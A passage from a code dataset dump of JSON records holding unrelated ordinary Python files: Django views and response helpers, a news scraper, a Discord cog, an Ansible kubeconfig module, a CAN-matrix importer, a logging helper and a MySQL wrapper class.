"call"}, {"api_name": "OpenGL.GL", "line_number": 198, "usage_type": "name"}, {"api_name": "OpenGL.GL.glClearColor", "line_number": 200, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 200, "usage_type": "name"}, {"api_name": "OpenGL.GL.glClear", "line_number": 201, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 201, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COLOR_BUFFER_BIT", "line_number": 201, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.GL_DEPTH_BUFFER_BIT", "line_number": 201, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glEnable", "line_number": 202, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 202, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_BLEND", "line_number": 202, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glBlendFunc", "line_number": 203, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 203, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_SRC_ALPHA", "line_number": 203, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.GL_ONE_MINUS_SRC_ALPHA", "line_number": 203, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glShadeModel", "line_number": 204, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 204, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_FLAT", "line_number": 204, "usage_type": "attribute"}]} {"seq_id": "48457336", "text": "from rest_framework.response import Response\nclass APIResponse(Response):\n def __init__(self, status=0, msg='ok', results=None, http_status=None,\n headers=None, exception=False, content_type=None, **kwargs):\n # 将status、msg、results、kwargs格式化成data\n data = {\n 'status': status,\n 'msg': msg,\n }\n # results只要不为空都是数据：False、0、'' 都是数据 => 条件不能写if results\n if results is not None:\n data['results'] = results\n # 将kwargs中额外的k-v数据添加到data中\n data.update(**kwargs)\n\n super().__init__(data=data, status=http_status, headers=headers, exception=exception, content_type=content_type)\n\n\n\n\n", "sub_path": "luffyapi/luffyapi/utils/response.py", "file_name": "response.py", "file_ext": "py", "file_size_in_byte": 756, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.response.Response", "line_number": 2, "usage_type": "name"}]} {"seq_id": "362231979", "text": "from django.forms import ModelForm\nfrom .models import *\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n\n# Create your views here.\n\nclass LivroForm(ModelForm):\n class Meta:\n model = Livro\n fields = ['autor', 'editora', 'isbn', 'numeroPaginas', 'titulo', 'anoPublicacao','emailEditora']\n\ndef livro_list(request, template_name='livro_list.html'):\n livro = Livro.objects.all()\n livros = {'lista': livro}\n return render(request, template_name, livros)\n\ndef livro_new(request, template_name='livro_form.html'):\n form = LivroForm(request.POST or None)\n if form.is_valid():\n form.save()\n return redirect('livro_list')\n return render(request, template_name, {'form':form})\n\ndef livro_edit(request, pk,template_name='livro_form.html'):\n # Consultar um livro para obtê-lo através da sua chave primária\n livro = get_object_or_404(Livro, pk=pk)\n # Verificar se o formulário é do tipo “post’,\n # caso positivo,\n # criar um formulário com a instância do livro obtida do banco de dados e salvar as alterações.\n if request.method == \"POST\" or None:\n form = LivroForm(request.POST,instance=livro)\n if form.is_valid():\n livro =form.save()\n return redirect('livro_list')\n # Caso o formulário não seja do tipo ‘post’,\n # renderizar, novamente, o formulário de edição dos livros\n else:\n form = LivroForm(instance=livro)\n return render(request, template_name, {'form': form})\n\ndef livro_remove(request, pk):\n livro = Livro.objects.get(pk=pk)\n if request.method == \"POST\":\n livro.delete()\n return redirect('livro_list')\n return render(request,'livro_delete.html',{'livro': livro})\n\n", "sub_path": "djangoProjeto/livraria/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1753, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.forms.ModelForm", "line_number": 8, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 27, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 47, "usage_type": "call"}]} {"seq_id": "492225579", "text": "import requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport re\nimport json\nimport pandas\n \ndef getNewsdetial(newsurl):\n res = requests.get(newsurl)\n res.encoding = 'utf-8'\n soup = BeautifulSoup(res.text,'html.parser')\n newsTitle = soup.select('.page-header h1')[0].text.strip()\n nt = datetime.strptime(soup.select('.time-source')[0].contents[0].strip(),'%Y %m %d %H:%M')\n newsTime = datetime.strftime(nt,'%Y-%m-%d %H:%M')\n newsArticle = getnewsArticle(soup.select('.article p'))\n newsAuthor = newsArticle[-1]\n return newsTitle,newsTime,newsArticle,newsAuthor\ndef getnewsArticle(news):\n newsArticle = []\n for p in news:\n newsArticle.append(p.text.strip())\n return newsArticle\n \n \ndef getCommentCount(newsurl):\n m = re.search('doc-i(.+).shtml',newsurl)\n newsid = m.group(1)\n commenturl = 'http://comment5.news.sina.com.cn/page/info?version=1&format=js&channel=gn&newsid=comos-{}&group=&compress=0&ie=utf-8&oe=utf-8&page=1&page_size=20'\n comment = requests.get(commenturl.format(newsid)) \n jd = json.loads(comment.text.lstrip('var data='))\n return jd['result']['count']['total']\n\n\ndef getNewsLinkUrl():\n urlFormat = 'http://api.roll.news.sina.com.cn/zt_list?channel=news&cat_1=gnxw&cat_2==gdxw1||=gatxw||=zs-pl||=mtjj&level==1||=2&show_ext=1&show_all=1&show_num=22&tag=1&format=json&page={}&callback=newsloadercallback&_=1501000415111'\n url = []\n for i in range(1,10):\n res = requests.get(urlFormat.format(i))\n jd = json.loads(res.text.lstrip(' newsloadercallback(').rstrip(');'))\n url.extend(getUrl(jd))\n return url\n \ndef getUrl(jd):\n url = []\n for i in jd['result']['data']:\n url.append(i['url'])\n return url\n \ndef getNewsDetial():\n title_all = []\n author_all = []\n commentCount_all = []\n article_all = []\n time_all = []\n url_all = getNewsLinkUrl()\n for url in url_all:\n title_all.append(getNewsdetial(url)[0])\n time_all.append(getNewsdetial(url)[1])\n article_all.append(getNewsdetial(url)[2])\n author_all.append(getNewsdetial(url)[3]) \n commentCount_all.append(getCommentCount(url))\n total_2 = {'a_title':title_all,'b_article':article_all,'c_commentCount':commentCount_all,'d_time':time_all,'e_editor':author_all}\n return total_2\n \ndf = pandas.DataFrame(getNewsDetial())\ndf.to_excel('news2.xlsx')", "sub_path": "tiger666/tigerhack/tyz.py", "file_name": "tyz.py", "file_ext": "py", "file_size_in_byte": 2439, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 9, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}, {"api_name": "re.search", "line_number": 26, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 38, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}]} {"seq_id": "261804390", "text": "import pandas as pd\nimport numpy\nfrom sklearn import model_selection\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom random import randint\n\ntext_file = open(\"Output.csv\", \"w\")\ntext_file.write(\"x1,x2,result\\n\")\n\nfor x in range(0, 10000):\n a = randint(1,100)\n b = randint(1,100)\n c = a + b\n text_file.write(\"%d, %d, %d\\n\" % (a, b, c))\n\ntext_file.close()\n\n\n\n\n\n\ndf = pd.read_csv('Output.csv', sep=',', header=0)\n\ntrain, test = model_selection.train_test_split(df,test_size=0.01, random_state=0)\n\n#clf = GaussianNB()\nclf = SVC()\ntrain_features = train.ix[:,0:2]\ntrain_label = train.iloc[:,2]\n\nclf.fit(train_features, train_label)\n\ntest_features = test.ix[:,0:2]\ntest_label = test.iloc[:,2]\n\ntest_data = pd.concat([test_features, test_label], axis=1)\ntest_data[\"prediction\"] = clf.predict(test_features)\n\n\nprint(test_data)\n\nprint (\"Naive Bayes Accuracy:\", clf.score(test_features,test_label))\n\n\n", "sub_path": "PersonalTest/basicml.py", "file_name": "basicml.py", "file_ext": "py", "file_size_in_byte": 929, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.randint", "line_number": 12, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 26, "usage_type": "name"}, {"api_name": "sklearn.svm.SVC", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 38, "usage_type": "call"}]} {"seq_id": "630438760", "text": "import discord\n\nfrom Util import Configuration\n\n\nclass DMMessages:\n\n def __init__(self, bot):\n self.bot = bot\n\n\n async def on_message(self, message: discord.Message):\n if message.guild is not None or len(message.content) > 1800 or message.author.id == self.bot.user.id:\n return\n if not message.content.startswith(\"!\"):\n channel = self.bot.get_channel(Configuration.get_master_var(\"inbox\", 0))\n if channel is not None:\n await channel.send(f\"[`{message.created_at.strftime('%c')}`] {message.author} (`{message.author.id}`) said: {message.clean_content}\")\n for attachement in message.attachments:\n await channel.send(attachement.url)\n\n\ndef setup(bot):\n bot.add_cog(DMMessages(bot))", "sub_path": "GearBot/Cogs/DMMessages.py", "file_name": "DMMessages.py", "file_ext": "py", "file_size_in_byte": 782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "discord.Message", "line_number": 12, "usage_type": "attribute"}, {"api_name": "Util.Configuration.get_master_var", "line_number": 16, "usage_type": "call"}, {"api_name": "Util.Configuration", "line_number": 16, "usage_type": "name"}]} {"seq_id": "93168435", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n''' kubeclient_ca ansible module '''\n\nimport base64\nimport yaml\nfrom ansible.module_utils.basic import AnsibleModule\n\n\nDOCUMENTATION = '''\n---\nmodule: kubeclient_ca\nshort_description: Modify kubeclient certificate-authority-data\nauthor: Andrew Butcher\nrequirements: [ ]\n'''\nEXAMPLES = '''\n- kubeclient_ca:\n client_path: /etc/origin/master/admin.kubeconfig\n ca_path: /etc/origin/master/ca-bundle.crt\n\n- slurp:\n src: /etc/origin/master/ca-bundle.crt\n register: ca_data\n- kubeclient_ca:\n client_path: /etc/origin/master/admin.kubeconfig\n ca_data: \"{{ ca_data.content }}\"\n'''\n\n\ndef main():\n ''' Modify kubeconfig located at `client_path`, setting the\n certificate authority data to specified `ca_data` or contents of\n `ca_path`.\n '''\n\n module = AnsibleModule( # noqa: F405\n argument_spec=dict(\n client_path=dict(required=True),\n ca_data=dict(required=False, default=None),\n ca_path=dict(required=False, default=None),\n backup=dict(required=False, default=True, type='bool'),\n ),\n supports_check_mode=True,\n mutually_exclusive=[['ca_data', 'ca_path']],\n required_one_of=[['ca_data', 'ca_path']]\n )\n\n client_path = module.params['client_path']\n ca_data = module.params['ca_data']\n ca_path = module.params['ca_path']\n backup = module.params['backup']\n\n try:\n with open(client_path) as client_config_file:\n client_config_data = yaml.safe_load(client_config_file.read())\n\n if ca_data is None:\n with open(ca_path) as ca_file:\n ca_data = base64.standard_b64encode(ca_file.read())\n\n changes = []\n # Naively update the CA information for each cluster in the\n # kubeconfig.\n for cluster in client_config_data['clusters']:\n if cluster['cluster']['certificate-authority-data'] != ca_data:\n cluster['cluster']['certificate-authority-data'] = ca_data\n changes.append(cluster['name'])\n\n if not module.check_mode:\n if len(changes) > 0 and backup:\n module.backup_local(client_path)\n\n with open(client_path, 'w') as client_config_file:\n client_config_string = yaml.dump(client_config_data, default_flow_style=False)\n client_config_string = client_config_string.replace('\\'\\'', '\"\"')\n client_config_file.write(client_config_string)\n\n return module.exit_json(changed=(len(changes) > 0))\n\n # ignore broad-except error to avoid stack trace to ansible user\n # pylint: disable=broad-except\n except Exception as error:\n return module.fail_json(msg=str(error))\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "openshift/installer/vendored/openshift-ansible-3.9.40/roles/lib_utils/library/kubeclient_ca.py", "file_name": "kubeclient_ca.py", "file_ext": "py", "file_size_in_byte": 2782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ansible.module_utils.basic.AnsibleModule", "line_number": 37, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 56, "usage_type": "call"}, {"api_name": "base64.standard_b64encode", "line_number": 60, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 75, "usage_type": "call"}]} {"seq_id": "425561880", "text": "#!/usr/bin/env python\n\n#Copyright (c) 2013, Eduard Broecker\n#All rights reserved.\n#\n#Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n# the following conditions are met:\n#\n# Redistributions of source code must retain the above copyright notice, this list of conditions and the\n# following disclaimer.\n# Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the\n# following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n#WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n#PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\n#DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n#PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n#CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n#OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n#DAMAGE.\n\n#\n# this script imports json-files from a canmatrix-object\n# json-files are the can-matrix-definitions of the CANard-project (https://github.com/ericevenchick/CANard)\n\nfrom builtins import *\nfrom .canmatrix import *\nimport codecs\nimport json\nimport sys\n\ndef importJson(filename, **options):\n db = CanMatrix()\n\n f = open(filename, \"r\")\n jsonData = json.load(f)\n\n if \"messages\" in jsonData:\n for frame in jsonData[\"messages\"]:\n# newframe = Frame(frame[\"id\"],frame[\"name\"],8,None)\n newframe = Frame(frame[\"name\"],\n Id=frame[\"id\"],\n dlc=8)\n \n if \"is_extended_frame\" in frame and frame[\"is_extended_frame\"]:\n newframe._extended = 1\n else:\n newframe._extended = 0\n\n\n for signal in frame[\"signals\"]:\n if signal[\"is_big_endian\"]:\n is_little_endian = False\n else:\n is_little_endian = True\n if signal[\"is_signed\"]:\n is_signed = True\n else:\n is_signed = False\n newsignal = Signal(signal[\"name\"], \n startBit=signal[\"start_bit\"], \n signalSize=signal[\"bit_length\"], \n is_little_endian=is_little_endian,\n is_signed = is_signed, \n factor=signal[\"factor\"], \n offset=signal[\"offset\"]) \n\n if newsignal._is_little_endian == False:\n\n newsignal.setStartbit(newsignal._startbit, bitNumbering = 1, startLittle = True)\n newframe.addSignal(newsignal)\n db._fl.addFrame(newframe)\n f.close()\n return db\n\n", "sub_path": "canmatrix/importjson.py", "file_name": "importjson.py", "file_ext": "py", "file_size_in_byte": 3194, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 37, "usage_type": "call"}]} {"seq_id": "464197334", "text": "import datetime\nimport enum\nfrom inspect import getframeinfo, stack\n\nimport termcolor\n\n\nclass State(enum.Enum):\n WARN = 'yellow'\n ERROR = 'red'\n INFO = 'green'\n\n\nclass Log:\n\n @staticmethod\n def __print(state: State, msg: str, filename: str):\n \"\"\"\n Printmethod that shows message with state on the console.\n :param state: state\n :param msg: message to print\n \"\"\"\n print(termcolor.colored('{}\\t{}\\t{}\\t{}'.format(datetime.datetime.now(),\n filename,\n state.name,\n msg), str(state.value)))\n\n @staticmethod\n def i(msg: str):\n \"\"\"\n Logging info.\n :param msg: message to print\n \"\"\"\n caller = getframeinfo(stack()[1][0])\n filename: str = caller.filename.split(sep='/')[-1]\n Log.__print(state=State.INFO, msg=msg, filename=filename)\n\n @staticmethod\n def e(msg: str):\n \"\"\"\n Logging error.\n :param msg: message to print\n \"\"\"\n caller = getframeinfo(stack()[1][0])\n filename: str = caller.filename.split(sep='/')[-1]\n Log.__print(state=State.ERROR, msg=msg, filename=filename)\n\n @staticmethod\n def w(msg: str):\n \"\"\"\n Logging warning.\n :param msg: message to print\n \"\"\"\n caller = getframeinfo(stack()[1][0])\n filename: str = caller.filename.split(sep='/')[-1]\n Log.__print(state=State.WARN, msg=msg, filename=filename)\n", "sub_path": "custom_logging.py", "file_name": "custom_logging.py", "file_ext": "py", "file_size_in_byte": 1592, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "enum.Enum", "line_number": 8, "usage_type": "attribute"}, {"api_name": "termcolor.colored", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "attribute"}, {"api_name": "inspect.getframeinfo", "line_number": 34, "usage_type": "call"}, {"api_name": "inspect.stack", "line_number": 34, "usage_type": "call"}, {"api_name": "inspect.getframeinfo", "line_number": 44, "usage_type": "call"}, {"api_name": "inspect.stack", "line_number": 44, "usage_type": "call"}, {"api_name": "inspect.getframeinfo", "line_number": 54, "usage_type": "call"}, {"api_name": "inspect.stack", "line_number": 54, "usage_type": "call"}]} {"seq_id": "467963186", "text": "import moai.nn.utils as miu\n\nimport torch\nimport functools\nimport logging\nimport typing\n\nlog = logging.getLogger(__name__)\n\n__all__ = [\n \"make_upsample\",\n]\n\n__UPSAMPLE_FACTORY__ = {\n \"none\": torch.nn.Identity,\n}\n\n#NOTE: need to implement:\n# 1) upscale->project,\n# 2) project->upscale,\n# 3) transpose conv with spatial and feature size reduction\n\ndef _update_upsample_op(name: str, type: typing.Type):\n if name not in __UPSAMPLE_FACTORY__.keys():\n __UPSAMPLE_FACTORY__.update({name: type})\n else:\n log.error(f\"Trying to add an already existing key {name} in the convolution operation factory.\")\n \ndef make_upsample(\n upscale_type: str,\n features: int,\n kernel_size: int=4,\n stride: int=2,\n **kwargs\n) -> torch.nn.Module:\n if upscale_type in __UPSAMPLE_FACTORY__.keys():\n return miu.instantiate(__UPSAMPLE_FACTORY__[upscale_type], \n **{\n **locals(),\n **kwargs \n })\n else:\n log.error(f\"Upscale type ({upscale_type}) not found.\")\n\nimport moai.nn.sampling.spatial.upsample.deconv as mids\n\nif \"deconv2d\" not in __UPSAMPLE_FACTORY__.keys():\n _update_upsample_op(\"deconv2d\", mids.StridedDeconv2d)\n\ndel mids\n\nimport moai.nn.sampling.spatial.upsample.interpolate as miup\n\nif \"upsample2d\" not in __UPSAMPLE_FACTORY__.keys():\n _update_upsample_op(\"upsample2d\", miup.Upsample2d)\n\ndel miup", "sub_path": "moai/nn/sampling/spatial/upsample/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "attribute"}, {"api_name": "typing.Type", "line_number": 23, "usage_type": "attribute"}, {"api_name": "moai.nn.utils.instantiate", "line_number": 37, "usage_type": "call"}, {"api_name": "moai.nn.utils", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "attribute"}, {"api_name": "moai.nn.sampling.spatial.upsample.deconv.StridedDeconv2d", "line_number": 48, "usage_type": "attribute"}, {"api_name": "moai.nn.sampling.spatial.upsample.deconv", "line_number": 48, "usage_type": "name"}, {"api_name": "moai.nn.sampling.spatial.upsample.deconv", "line_number": 50, "usage_type": "name"}, {"api_name": "moai.nn.sampling.spatial.upsample.interpolate.Upsample2d", "line_number": 55, "usage_type": "attribute"}, {"api_name": "moai.nn.sampling.spatial.upsample.interpolate", "line_number": 55, "usage_type": "name"}, {"api_name": "moai.nn.sampling.spatial.upsample.interpolate", "line_number": 57, "usage_type": "name"}]} {"seq_id": "411281906", "text": "from __future__ import print_function\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.engine import ResultProxy\nfrom sqlalchemy.orm.query import Query\nfrom openmile.model.entity import OMEntity\nfrom sqlalchemy.exc import IntegrityError, InvalidRequestError\nimport pdb\n\nfrom ..support.helpers import *\nfrom ..support.misc import *\nfrom .. import config as c\n\nclass DB(object):\n\n\tdb \t\t\t\t\t= None\n\tengine \t\t\t\t= None\n\tsession_factory \t= None\n\ttables \t\t\t\t= None\n\torm \t\t\t\t= False\n\tentity_class \t\t= OMEntity\n\n\tdef __init__(self, port=3306, host='localhost', user={'username':'root', 'password':None}, privs='R', **kwargs):\n\t\tself.user \t\t\t\t= user.get('username')\n\t\tself.password \t\t\t= user.get('password')\n\t\tself.host \t\t\t\t= host\n\t\tself.port \t\t\t\t= port\n\t\tself.privs\t\t\t\t= privs\n\n\tdef db_path(self, db):\n\t\tlogin = self.user if self.password is None else self.user + ':' + self.password\n\t\treturn 'mysql://' + login + '@' + self.host + ':' + str(self.port) + '/' + db\n\n\tdef get_session(self):\n\t\treturn self.session_factory()\n\n\tdef connect(self):\n\t\tself.engine = create_engine(self.db_path(self.db))\n\t\tself.session_factory = sessionmaker()\n\t\tself.session_factory.configure(bind=self.engine)\n\t\tself.get_session()\n\n\tdef is_connected(self):\n\t\ttry:\n\t\t\tself.query('om_user', limit=1)\n\t\t\treturn True\n\t\texcept Exception as e:\n\t\t\treturn False\n\n\tdef commit(self, safe=False, silent=False):\n\t\ttry:\n\t\t\tself.meta_session.commit()\n\t\texcept:\n\t\t\tif safe:\n\t\t\t\tself.meta_session.rollback()\n\t\t\tif not silent:\n\t\t\t\traise\n\n\tdef add(self, obj):\n\t\tself.meta_session.add(obj)\n\n\tdef add_or_find(self, obj):\n\t\ttry:\n\t\t\tself.add(obj)\n\t\texcept InvalidRequestError as e:\n\t\t\tif ' '.join(e.message.split(' ')[-5:]) == 'already present in this session.':\n\t\t\t\tself.meta_session.merge(obj)\n\t\t\telse:\n\t\t\t\tself.meta_session.expunge(obj)\n\n\tdef execute(self, cmd):\n\t\t'Execute sql commands. Should avoid being called directly'\n\t\treturn self.engine.execute(cmd)\n\n\tdef query_sqlalchemy(self, cls):\n\t\t'Perform DB reads leveraging ORM'\n\t\treturn self.meta_session.query(cls)\n\n\tdef insert(self, *args):\n\t\t'Write via raw sql'\n\t\tstatement = Formatter.insert_str(*args)\n\t\treturn self.execute(statement)\n\n\tdef query(self, table, **kwargs):\n\t\t'Read via raw sql'\n\t\tquery = Formatter.query_str(table, **kwargs)\n\t\treturn self.execute(query)\n\n\tdef update(self, table, **kwargs):\n\t\tstatement = Formatter.update_str(table, **kwargs)\n\t\treturn self.execute(statement)\n\n\tdef insert(self, table, values):\n\t\tstatement = Formatter.insert_str(table, values)\n\t\treturn self.execute(statement)\n\n\tdef add_column(self, table, new_col, data_type):\n\t\tprint('Adding column {}, {} to {}'.format(new_col, data_type, table))\n\t\talter_statement = 'ALTER TABLE {} ADD {} {}'.format(table, new_col, data_type)\n\t\treturn self.execute(alter_statement)\n\n\t# HELPERS\n\tdef get_columns(self, data):\n\t\t'Fetch list of columns from a string of a table name, a result proxy, or a dictionary representing a row'\n\t\tif type(data) is dict: \n\t\t\tdata = self.get_table_name(data)\n\t\t\n\t\tif type(data) in [str, unicode]:\n\t\t\tif data in self.get_list_of_tables():\n\t\t\t\tif not self.get_table(data).has_key('cols'):\n\t\t\t\t\tFormatter.update_column_metadata(self, data)\n\t\t\t\treturn self.get_table(data)['cols']\n\t\t\telse:\n\t\t\t\traise TableNotFoundException(data)\n\t\telif type(data) is ResultProxy:\n\t\t\treturn data._metadata.keys\n\t\telse:\n\t\t\traise Exception('Invalid data type.')\n\n\tdef get_list_of_tables(self):\n\t\t'Fetch list of tables'\n\t\tif not self.tables:\n\t\t\tself.tables = [table[0] for table in self.execute('SHOW FULL TABLES')]\n\t\treturn self.tables\n\n\tdef get_table_name(self, data):\n\t\tdata_type = self.entity_class if is_entity(data) else type(data)\n\t\thandler = {dict: self.get_table_name_from_dict, self.entity_class: self.get_table_name_from_obj}\n\t\ttable_name = handler[data_type](data)\n\t\tif not table_name:\n\t\t\traise TableNotFoundException(data)\n\t\telse:\n\t\t\treturn table_name\n\n\tdef get_table_name_from_dict(self, info):\n\t\t'?'\n\t\tif info.has_key(c.table_name_attr): return info[c.table_name_attr]\n\t\tcols = set(info.keys())\n\n\t\tsafe_dict_remove(cols, '_sa_instance_state')\n\t\tsafe_dict_remove(cols, '_etl_format')\n\n\t\tfor (name, table) in self.meta().items():\n\t\t\tif set(cols).issubset(self.get_columns(name)):\n\t\t\t\tinfo[c.table_name_attr] = name\n\t\t\t\treturn name\n\n\tdef get_table_name_from_obj(self, obj):\n\t\tif hasattr(obj, c.table_name_attr): return getattr(obj, c.table_name_attr)\n\t\tfor name, table in self.meta().items(): \n\t\t\tif table.has_key('model'):\n\t\t\t\tif table.get('model')['class'] == type(obj):\n\t\t\t\t\tsetattr(obj, c.table_name_attr, name)\n\t\t\t\t\treturn name\n\n\tdef get_class(self, data):\n\t\tif type(data) is dict:\n\t\t\tdata = self.get_table_name(data)\n\n\t\tfor name, table in self.meta().items(): \n\t\t\tif name == data:\n\t\t\t\treturn table.get('model')['class']\n\n\tdef get_description(self, data):\n\t\treturn '{:>10}, {:<10}'.format(self.get_class(self.get_table_name(data)).__name__, self.get_pk_val(data))\n\n\tdef get_table(self, data):\n\t\t'Accepts a string containing a table name, a dictionary representing an object, or an object an returns relevant portion of meta dict'\n\t\tif type(data) in [str, unicode]:\n\t\t\treturn self.meta()[data]\n\t\telse:\n\t\t\treturn self.meta()[self.get_table_name(data)]\n\n\tdef get_pk_val(self, data):\n\t\t'Gets the value for the primary key of a provided table'\n\t\tif not self.get_table(data).has_key('primary_key'):\n\t\t\traise TypeError('Table has no primary-key.')\n\t\tpk_val = getattribute(data, self.get_table(data)['primary_key'])\n\t\treturn pk_val\n\n\tdef get_lookup_key_val(self, data):\n\t\ttable = self.get_table_name(data)\n\t\tlookup_key = self.get_lookup_key(table)\n\t\tif type(lookup_key) is list:\n\t\t\treturn [getattribute(data, lk) for lk in lookup_key]\n\t\telse:\n\t\t\treturn getattribute(data, lookup_key)\n\n\tdef get_lookup_key(self, table):\n\t\treturn self.get_table(table).get('lookup_key') or self.get_pk(table) or self.get_fks(table).values()\n\n\tdef get_pk(self, table):\n\t\t'Gets the column name of the primary-key for a provided table from self.meta'\n\t\treturn self.get_table(table).get('primary_key')\n\n\tdef get_fks(self, table):\n\t\t'Gets foreign-keys found in the dict provided by self.meta'\n\t\treturn {k:v for (k,v) in self.get_table(table)['foreign_keys'].items() if k != 'unknown'}\n\n\tdef get_attr_val(self, table, attr, val):\n\t\tif not attr:\n\t\t\tattr = self.get_lookup_key(table)\n\t\t\tif type(attr) is list: \n\t\t\t\tprint(\"GET_ATTR_VAL called on table with multiple lookup keys... problematic.\")\n\t\t\t\tattr = attr[0]\n\t\tif self.get_table(table).has_key('key_pattern'):\n\t\t\tpattern_matches = self.get_table(table)['key_pattern'].search(val)\n\t\t\tif pattern_matches: val = pattern_matches.group(1)\n\n\t\treturn attr, val\n\n\tdef normalize_search_criteria(self, data):\n\t\tif type(data) is dict and set(['table', 'lookup_val']).issubset(data.keys()):\n\t\t\ttable = data['table']\n\t\t\tkeys = data.get('lookup_key') or self.get_lookup_key(table)\n\t\t\tvals = data['lookup_val']\n\t\telse:\n\t\t\ttable = self.get_table_name(data)\n\t\t\tkeys = self.get_lookup_key(data)\n\t\t\tvals = self.get_lookup_key_val(data)\n\n\t\tkeys = to_list((keys or self.get_lookup_key(table)))\n\t\tvals = to_list(vals)\n\t\treturn table, keys, vals\n\n\tdef search_with_orm(self, table, keys, vals, limit=None, match='all'):\n\t\t'Match refers to weather it should try to match all or any of the search criteria.'\n\t\tcls = self.get_class(table)\n\t\tresult = self.query_sqlalchemy(cls).filter(getattr(cls, keys[0]) == vals[0])\n\t\tif match == 'all':\n\t\t\tfor k, v in zip(keys, vals)[1:]:\n\t\t\t\tresult = result.filter(getattr(cls, k) == v)\n\t\telif match == 'any':\n\t\t\tfor k,v in zip(keys, 